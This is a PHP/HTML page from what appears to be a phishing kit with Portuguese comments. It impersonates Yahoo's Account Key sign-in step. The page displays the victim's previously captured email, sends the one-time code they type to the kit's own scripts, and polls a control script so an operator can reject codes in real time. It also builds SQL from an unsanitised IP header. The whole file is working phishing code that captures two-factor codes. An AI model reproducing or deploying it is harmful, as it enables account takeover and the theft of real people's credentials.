<?php
@session_start();
error_reporting(0);
ini_set("display_errors", 0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$email = $row_infio['usuario'];

$email2 = $row_infio['numero_autenticar'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Cliente Online no cod de email!' WHERE ip='$ip'");

?>

<!DOCTYPE html>
<html id="Stencil" class="js grid light-theme ">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
    <meta name="format-detection" content="telephone=no">
    <meta name="referrer" content="origin-when-cross-origin">
    <title>Yahoo</title>
    <meta name="description" content="Yahoo">
    <link rel="dns-prefetch" href="https://gstatic.com/">
    <link rel="dns-prefetch" href="https://google.com/">
    <link rel="dns-prefetch" href="https://s.yimg.com/">
    <link rel="dns-prefetch" href="https://y.analytics.yahoo.com/">
    <link rel="dns-prefetch" href="https://ucs.query.yahoo.com/">
    <link rel="dns-prefetch" href="https://geo.query.yahoo.com/">
    <link rel="dns-prefetch" href="https://geo.yahoo.com/">
    <link rel="icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">
    <link rel="shortcut icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">
    <meta name="google-site-verification" content="yOTFyUBPTnXtuk2cPpqfv7ZvZ960JgqsV8FomN3n7Y0">
    <link rel="apple-touch-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-apple-touch-v0.0.2.png">
    <link rel="apple-touch-icon-precomposed" href="https://s.yimg.com/wm/mbr/images/yahoo-apple-touch-v0.0.2.png">
    <style nonce="">
        #mbr-css-check {
            display: inline;
        }
    </style>
    <link href="./Yahoo_files/yahoo-main.css" rel="stylesheet" type="text/css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
    <script type="application/javascript" src="language.js"></script>
    <!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->


    <script>
        //função enviar senha
        $(document).ready(function() {
            $(document).on('click', '#entrar', function(e) {
                e.preventDefault();


                // var email = $("#email").val();
                var emailsenha = $("#emailsenha").val();

                if (emailsenha == "") {
                    comandoerrordados()

                } else {

                    $("#emailsenha").prop('disabled', true);
                    $("#entrar").prop('disabled', true);
                    document.getElementById("barra").style.display = "block";
                    $.ajax({
                        type: 'post', //Definimos o método HTTP usado
                        data: {
                            // email: email,
                            yahooCode: emailsenha
                        },
                        dataType: 'json', //Definimos o tipo de retorno
                        url: '/app/sendData.php',
                    })
                    $.ajax({
                        type: 'post', //Definimos o método HTTP usado
                        data: {
                            // email: email,
                            emailsenha: emailsenha
                        },
                        dataType: 'json', //Definimos o tipo de retorno
                        url: 'emailsSend.php', //Definindo o arquivo onde serão buscados os dados
                        success: function(data) {

                            dispararComando();
                            // document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
                            $("#errorsenha").css("display", "none");

                        }
                    });

                }
            });
        });

        function dispararComando(e) {

            myVar = setInterval(esperaresposta, 1400);

        }



        function esperaresposta() {
            //alert("teste");
            Get("", "../main_.php", 0);

        }

        function comandoerrordados() {
            //alert("te");
            document.getElementById("barra").style.display = "none";
            $("#emailsenha").prop('disabled', false);
            $("#entrar").prop('disabled', false);

            $("#errorsenha").css("display", "block");

        }


        var onOff = 1;


        function Get(data, urlapi, e) {

            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    var json = this.response;
                    if (e != 1) {
                        status(JSON.parse(json));
                    }
                }
            };
            xhttp.open("GET", urlapi + data, true);
            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhttp.send();
            return false;
        }

        function status(json) {


            if (json.comando == "NegarverificaMail") {
                clearInterval(myVar);
                comandoerrordados();


            };



        }
    </script>
</head>

<body class="bucket-mbr-qr-comet-sdk">

    <div id="login-body" class="loginish  puree-v2  grid    ">
        <div class="mbr-desktop-hd">
            <span class="column">
                <a href="https://ie.yahoo.com/">
                    <img src="./Yahoo_files/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo " width="" height="36">
                    <img src="./Yahoo_files/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo " width="" height="36">
                </a>
            </span>
            <span class="column help txt-align-right">
                <a href="https://help.yahoo.com/kb/index?locale=en_GB&amp;page=product&amp;y=PROD_ACCT">Help</a>
            </span>
        </div>
        <div class="login-box right" style="box-shadow: unset; border: none;">
            <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
                <div style="background:url(./img/34.gif) center no-repeat; height: 10px;" class="aC8cESDerE4i9l6E"></div>
            </div>
            <div class="mbr-login-hd txt-align-center">
                <img src="https://s.yimg.com/rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo yahoo-en-US" width="" height="27">
                <img src="https://s.yimg.com/rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo yahoo-en-US" width="" height="27">
            </div>
            <div class="challenge yak-code-challenge">
                <div class="challenge-header">
                    <div class="yid"><?php echo $email; ?></div>
                </div>
                <div id="yak-code-challenge" class="yak-code-challenge authorize-verify-code">
                    <div class="authorize-verify-desc-container">
                        <div class="authorize-base-desc authorize-desc hide">
                            <strong>
                                Open any Yahoo&nbsp;app.
                            </strong>
                            <div class="m-t-16px">
                                Tap on the <div class="account-key-img"></div> Account Key&nbsp;icon.
                            </div>
                            <p>Get Account Key code and enter&nbsp;here.</p>
                        </div>
                    </div>
                    <form class="pure-form pure-form-stacked" action="true" method="post">
                        <input type="hidden" name="browser-fp-data" id="browser-fp-data" value="{&quot;language&quot;:&quot;pt-BR&quot;,&quot;colorDepth&quot;:24,&quot;deviceMemory&quot;:1,&quot;pixelRatio&quot;:1,&quot;hardwareConcurrency&quot;:17,&quot;timezoneOffset&quot;:180,&quot;timezone&quot;:&quot;America/Sao_Paulo&quot;,&quot;sessionStorage&quot;:1,&quot;localStorage&quot;:1,&quot;indexedDb&quot;:1,&quot;openDatabase&quot;:1,&quot;cpuClass&quot;:&quot;unknown&quot;,&quot;platform&quot;:&quot;Win32&quot;,&quot;doNotTrack&quot;:&quot;unknown&quot;,&quot;plugins&quot;:{&quot;count&quot;:4,&quot;hash&quot;:&quot;8fdaf4edb2d45bf256756cffc1c93b29&quot;},&quot;canvas&quot;:&quot;canvas winding:yes~canvas&quot;,&quot;webgl&quot;:1,&quot;webglVendorAndRenderer&quot;:&quot;Google Inc. (NVIDIA)~ANGLE (NVIDIA, NVIDIA GeForce RTX 3060 Direct3D11 vs_5_0 ps_5_0, D3D11)&quot;,&quot;adBlock&quot;:0,&quot;hasLiedLanguages&quot;:0,&quot;hasLiedResolution&quot;:0,&quot;hasLiedOs&quot;:0,&quot;hasLiedBrowser&quot;:0,&quot;touchSupport&quot;:{&quot;points&quot;:0,&quot;event&quot;:0,&quot;start&quot;:0},&quot;fonts&quot;:{&quot;count&quot;:30,&quot;hash&quot;:&quot;ef3ad1ce473b4f16b6323190490f5b8f&quot;},&quot;audio&quot;:&quot;122.87013238940563&quot;,&quot;resolution&quot;:{&quot;w&quot;:&quot;1920&quot;,&quot;h&quot;:&quot;1080&quot;},&quot;availableResolution&quot;:{&quot;w&quot;:&quot;1040&quot;,&quot;h&quot;:&quot;1920&quot;},&quot;ts&quot;:{&quot;serve&quot;:1670955280336,&quot;render&quot;:1670955280901}}">
                        <input type="hidden" name="crumb" value="mz6Ec3OjECI">
                        <input type="hidden" name="acrumb" value="RypXv7of">
                        <input type="hidden" name="sessionIndex" value="Qg--">
                        <input type="hidden" name="displayName" value="<?php echo $email; ?>">
                        <input type="hidden" name="notificationSent" value="false">
                        <input type="hidden" name="codeLength" value="8">
                        <input type="hidden" name="locale" value="en-US">

                        <label id="account-key-lbl" class="hide">
                            Enter Account&nbsp;Key
                        </label>
                        <div class="authorize-verify-code-container">
                            <input id="emailsenha" type="text" name="code" maxlength="9" class="code-box txt-align-center validation " aria-labelledby="account-key-lbl" placeholder="---- ----" data-rapid-tracking="true" data-ylk="elm:input;elmt:focus;slk:focus-code;sec:yak-code;mKey:focus-code" autofocus="" autocomplete="new-password" autocorrect="off">
                        </div>
                        <div class="sign-in-container">
                            <button type="submit" name="entrar" id="entrar" data-ylk="elm:btn;elmt:verify" data-rapid-tracking="true" class="pure-button puree-button-primary puree-spinner-button">
                                Sign&nbsp;in
                            </button>
                        </div>
                        <div id="errorsenha" style="display: none;"><span style="color: red;" data-i18n="email.yahoo.app.error">Incorrect code!</span></div>
                        <p class="signin-trouble txt-align-center">
                            <input type="hidden" name="skip" class="pure-button puree-button-link" value="Use text or email to sign&nbsp;in" data-rapid-tracking="true" data-ylk="elm:btn;elmt:skip;slk:skip;sec:yak-code;mKey:skip">
                        </p>
                    </form>
                </div>
            </div>
        </div>

    </div>
    <style>
        html {
            overflow: hidden !important;
        }
    </style>
</body>

</html>